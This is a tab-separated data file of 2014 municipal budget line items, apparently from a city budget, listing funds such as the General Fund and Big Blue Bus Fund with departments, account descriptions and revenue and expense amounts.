5221	BA	IS	1	General Fund	300	POLICE	304	ADMINISTRATIVE SERVICES DIV	407080.0	30 DAY IMPOUND FEE	612.0	Charges for Service	2014	-111845.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-111845.0
5222	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401130.0	SPORTS LEAGUES	612.0	Charges for Service	2014	-121680.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-121680.0
5223	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	400770.0	LEASE RENTAL REVENUE	618.0	Rentals	2014	-3941413.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-3941413.0
5224	BA	IS	34	Stormwater Management Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577890.0	MWD RECYCLED WATER REBATE		 Supplies and Expenses	2014	-18401.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-18401.0
5225	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544110.0	PRINTED FORMS	816.0	 Supplies and Expenses	2014	88252.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	88252.0
5226	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	572926.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	572926.0
5227	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	511490.0	OVERTIME		Salaries and Wages	2014	3030.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	3030.0
5228	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	555014.0	OUTSIDE REPAIRS - OFFICE EQUIP		 Supplies and Expenses	2014	6150.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6150.0
5229	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	1065412.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1065412.0
5230	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	8700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	8700.0
5231	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	555014.0	OUTSIDE REPAIRS - OFFICE EQUIP		 Supplies and Expenses	2014	1000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1000.0
5232	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2014	25000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25000.0
5233	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522545.0	AD SALES (BBB)		 Supplies and Expenses	2014	204500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	204500.0
5234	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522111.0	UTIL-LIGHT/POWER-GF	816.0	 Supplies and Expenses	2014	179439.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	179439.0
5235	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402750.0	TDA SALES TAX-OPERATIONS	658.0	Sales Tax	2014	-19329273.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-19329273.0
5236	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	405820.0	PROP C - BSIP	658.0	Sales Tax	2014	-754403.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-754403.0
5237	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	407020.0	PROP C TRANSIT SECURITY	658.0	Sales Tax	2014	-1167590.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1167590.0
5238	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	577130.0	CONSUMER PROTECTION UNIT	804.0	 Supplies and Expenses	2014	15000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15000.0
5239	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	577140.0	DISABILITY ACCOMODATIONS	804.0	 Supplies and Expenses	2014	300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	300.0
5240	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	401381.0	DOG & CAT NEUTER DEPOSITS	612.0	Charges for Service	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5241	BA	IS	34	Stormwater Management Fund	500	PUBLIC WORKS	661	WASTE WATER	407160.0	STORMWATER IN-LIEU FEES	662.0	Other	2014	-400000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-400000.0
5242	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	1570.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1570.0
5243	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	500.0
5244	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511490.0	OVERTIME		Salaries and Wages	2014	5050.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5050.0
5245	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522180.0	BANK FEES		 Supplies and Expenses	2014	28000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	28000.0
5246	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522900.0	MEMBERSHIPS AND DUES		 Supplies and Expenses	2014	57400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	57400.0
5247	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	511979.0	MEDICAL EXAMS		Salaries and Wages	2014	200.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	200.0
5248	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522544.0	GRAPHIC DESIGN		 Supplies and Expenses	2014	47500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	47500.0
5249	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522112.0	UTIL-LIGHT/POWER-BEACH	816.0	 Supplies and Expenses	2014	81396.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	81396.0
5250	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402650.0	NON-TRANSP REV-OPER	662.0	Other	2014	-26138.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-26138.0
5251	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	403010.0	OPERATING INTEREST - CITY	659.0	Investment Income	2014	-76003.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-76003.0
5252	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404080.0	INTEREST - CAPITAL	659.0	Investment Income	2014	-141148.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-141148.0
5253	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404220.0	OTHER OPER REV-MISCELLANEOUS	650.0	Charges for Service	2014	-44000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-44000.0
5254	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	401230.0	COMMUNITY GARDENS RENTALS	618.0	Rentals	2014	-9300.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-9300.0
5255	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	578080.0	TRANSIT MALL MAINTENANCE		 Supplies and Expenses	2014	-99493.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-99493.0
5256	BA	IS	1	General Fund	300	POLICE	302	ANIMAL CONTROL UNIT	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	806.0	 Supplies and Expenses	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5257	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	651	TRANSIT MAINTENANCE		PRINTING - GENERAL		 Supplies and Expenses	2014	25625.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	25625.0
5258	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	400570.0	ADMIN FINES/PENALTIES	614.0	Fines and Forfeitures	2014	-36414.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-36414.0
5259	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522961.0	FUEL-SERVICE VEHICLES		 Supplies and Expenses	2014	102500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	102500.0
5260	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	6571.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6571.0
5261	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511490.0	OVERTIME	810.0	Salaries and Wages	2014	6083.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	6083.0
5262	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522310.0	OFFICE SUPPLIES / EXPENSE	810.0	 Supplies and Expenses	2014	35319.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35319.0
5263	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570130.0	GF/SPEC FD REIM. AHPP DEV FEE	908.0	 Supplies and Expenses	2014	-100000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-100000.0
5264	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	523000.0	VEHICLE MGMT FUND-MAINTENANCE	816.0	 Supplies and Expenses	2014	1804.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1804.0
5265	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	816.0	 Supplies and Expenses	2014	30522.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	30522.0
5266	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	555062.0	CONSULTING SERVICES		 Supplies and Expenses	2014	50000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	50000.0
5267	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	670	TRANSIT SAFETY & TRAINING	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
5268	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522210.0	UTILITIES - TELEPHONE		 Supplies and Expenses	2014	44126.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	44126.0
5269	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	5000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5000.0
5270	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522546.0	MEDIA BUYS		 Supplies and Expenses	2014	18081.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	18081.0
5271	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	544113.0	ONBOARD MATERIALS		 Supplies and Expenses	2014	99596.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	99596.0
5272	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	544119.0	PUBLIC RELATIONS SVC.		 Supplies and Expenses	2014	20000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	20000.0
5273	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522134.0	UTIL-WATER-PARKING AUTH	816.0	 Supplies and Expenses	2014	47742.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	47742.0
5274	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522184.0	BANK FEES-PARKING AUTHORITY	816.0	 Supplies and Expenses	2014	700.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	700.0
5275	BA	IS	1	General Fund	100	CITY COUNCIL	201	CITY COUNCIL	522710.0	AUTO REIMBURSEMENT	804.0	 Supplies and Expenses	2014	35129.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	35129.0
5276	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404090.0	LEASE RENTAL REVENUE	662.0	Other	2014	-1698160.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-1698160.0
5277	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522620.0	RENT	808.0	 Supplies and Expenses	2014	246327.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	246327.0
5278	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555200.0	REIMBURSE ENGINEERING OFFICE	866.0	 Supplies and Expenses	2014	29418.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	29418.0
5279	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2014	210.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	210.0
5280	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	400420.0	SKATE PARK	612.0	Charges for Service	2014	-32020.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-32020.0
5281	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	654	TRANSIT OPERATIONS	522830.0	FUEL AND OIL TAXES-REV EQUIP		 Supplies and Expenses	2014	256250.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	256250.0
5282	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511000.0	PERMANENT EMPLOYEES	810.0	Salaries and Wages	2014	625793.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	625793.0
5283	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511500.0	TEMPORARY EMPLOYEES	810.0	Salaries and Wages	2014	11303.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	11303.0
5284	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	522820.0	CONFERENCES/MEETINGS/TRAVEL	810.0	 Supplies and Expenses	2014	5640.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	5640.0
5285	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	400690.0	PLAN CHECK FEES-ENGINEERING	612.0	Charges for Service	2014	-383728.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-383728.0
5286	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	522320.0	METERED POSTAGE	816.0	 Supplies and Expenses	2014	1947.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1947.0
5287	BA	IS	1	General Fund	300	POLICE	306	SPECIAL ENFORCEMENT DIV	522210.0	UTILITIES - TELEPHONE	806.0	 Supplies and Expenses	2014	351.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	351.0
5288	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	544010.0	SPEC DEPT SUPPLIES	810.0	 Supplies and Expenses	2014	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
5289	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	588040.0	COMMUNICATIONS SYSTEMS		 Supplies and Expenses	2014	10000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	10000.0
5290	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	522950.0	CNG FUEL		 Supplies and Expenses	2014	248400.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	248400.0
5291	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	577090.0	REIMBURSE WATER FUND		 Supplies and Expenses	2014	394012.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	394012.0
5292	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	555060.0	PROFESSIONAL SERVICES	812.0	 Supplies and Expenses	2014	23600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	23600.0
5293	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	2152073.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2152073.0
5294	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	555060.0	PROFESSIONAL SERVICES	806.0	 Supplies and Expenses	2014	1188.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1188.0
5295	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400191.0	STREET PERFORMERS PERMIT	608.0	Licenses and Permits	2014	-47000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-47000.0
5296	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	7500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7500.0
5297	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401270.0	LEASED BEACH CONCESSIONS	612.0	Charges for Service	2014	-540000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-540000.0
5298	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	640	TRANSIT EXECUTIVE	522820.0	CONFERENCES/MEETINGS/TRAVEL		 Supplies and Expenses	2014	21525.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	21525.0
5299	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	511000.0	PERMANENT EMPLOYEES		Salaries and Wages	2014	640565.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	640565.0
5300	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	643	TRANSIT CUSTOMER & GOVT RELAT	522315.0	MULTIMEDIA		 Supplies and Expenses	2014	13633.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	13633.0
5301	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	522151.0	STORMWATER MANAGEMENT-GF	816.0	 Supplies and Expenses	2014	7053.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	7053.0
5302	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577080.0	TMP FEES REIMBURSEMENT	908.0	 Supplies and Expenses	2014	-337744.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-337744.0
5303	BA	IS	4	Special Revenue Source Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577080.0	TMP FEES REIMBURSEMENT	910.0	 Supplies and Expenses	2014	337744.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	337744.0
5304	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	816.0	 Supplies and Expenses	2014	31519.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	31519.0
5305	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	402000.0	PASSENGER REVENUE	650.0	Charges for Service	2014	-14413839.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-14413839.0
5306	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404280.0	PROP A LOCAL RETURN	658.0	Sales Tax	2014	-398542.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-398542.0
5307	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	522900.0	MEMBERSHIPS AND DUES	808.0	 Supplies and Expenses	2014	2563.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2563.0
5308	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	555060.0	PROFESSIONAL SERVICES	808.0	 Supplies and Expenses	2014	42380.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	42380.0
5309	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	522720.0	MILEAGE	808.0	 Supplies and Expenses	2014	1046.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1046.0
5310	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2014	187298.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	187298.0
5311	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555210.0	TRAINING	808.0	 Supplies and Expenses	2014	12500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12500.0
5312	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	523000.0	VEHICLE MGMT FUND-MAINTENANCE	808.0	 Supplies and Expenses	2014	2400000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2400000.0
5313	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	555030.0	EMPLOYEE MEDICAL EXAMS	808.0	 Supplies and Expenses	2014	15600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	15600.0
5314	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	522310.0	OFFICE SUPPLIES / EXPENSE	808.0	 Supplies and Expenses	2014	16000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	16000.0
5315	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	533210.0	BLDG OPER / CUST SUPPLIES	808.0	 Supplies and Expenses	2014	17000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	17000.0
5316	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	544150.0	TREES/SEEDS/PLANTS/FERTILIZER	808.0	 Supplies and Expenses	2014	1500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1500.0
5317	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	555220.0	UNIFORM RENTAL	808.0	 Supplies and Expenses	2014	2000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	2000.0
5318	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511490.0	OVERTIME	840.0	Salaries and Wages	2014	37385.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	37385.0
5319	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522310.0	OFFICE SUPPLIES / EXPENSE	848.0	 Supplies and Expenses	2014	4000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	4000.0
5320	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	533020.0	GENERAL LIABILITY / AUTO	854.0	 Supplies and Expenses	2014	256858.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	256858.0
5321	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	544340.0	INDIRECT COST ALLOCATION	842.0	 Supplies and Expenses	2014	458344.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	458344.0
5322	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	511250.0	STANDBY PAY	840.0	Salaries and Wages	2014	19794.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	19794.0
5323	BA	IS	31	Wastewater Fund	500	PUBLIC WORKS	661	WASTE WATER	522650.0	OTHER OPERATING RENT	866.0	 Supplies and Expenses	2014	226556.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	226556.0
5324	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	522320.0	METERED POSTAGE	848.0	 Supplies and Expenses	2014	12000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	12000.0
5325	BA	IS	25	Water Fund	500	PUBLIC WORKS	671	WATER	555010.0	CONTRACTUAL SERVICES	844.0	 Supplies and Expenses	2014	400000.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	400000.0
5326	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566940.0	PARKING AUTHORITY REV BOND	910.0	 Supplies and Expenses	2014	1134586.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	1134586.0
5327	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577860.0	TORCA REIMBURSEMENT	908.0	 Supplies and Expenses	2014	-98910.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-98910.0
5328	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401520.0	SPECIAL PICK-UPS	650.0	Charges for Service	2014	-35894.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-35894.0
5329	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	401540.0	STATE HIGHWAY CLEANING	650.0	Charges for Service	2014	-11600.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-11600.0
5330	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405020.0	SALE OF REFUSE BAGS	650.0	Charges for Service	2014	-500.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-500.0
5331	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400100.0	FRANCHISE TAX - UTILITIES	608.0	Licenses and Permits	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5332	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	400190.0	BUSINESS LICENSE TAXES	606.0	Other Local Taxes	2014	0.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	0.0
5333	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	401340.0	GEN PROM BUS LIC.-DOWNTOWN	622.0	Other	2014	-10150.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-10150.0
5334	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	401360.0	GEN PROM BUS LICENSE MAIN ST.	622.0	Other	2014	-6100.0	0	0.0	0.0	0	0	0.0	0	0.0	0	0	0.0	-6100.0
